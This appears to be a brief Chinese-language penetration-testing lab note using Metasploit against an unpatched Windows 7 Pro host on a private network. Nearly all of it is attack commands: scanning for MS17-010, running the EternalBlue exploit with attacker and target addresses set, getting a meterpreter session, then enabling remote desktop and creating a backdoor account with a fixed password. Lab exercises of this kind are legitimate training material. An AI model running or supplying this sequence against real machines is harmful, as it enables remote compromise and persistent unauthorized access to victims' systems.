kali主机：10.158.1.110
windows7 pro：10.158.1.120
注：未打补丁
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue //调用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.158.1.120
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.158.1.110
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
meterpreter > run post/windows/manage/enable_rdp //启动远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=kddi PASSWORD=pwd@123 //创建用户
受害主机查看
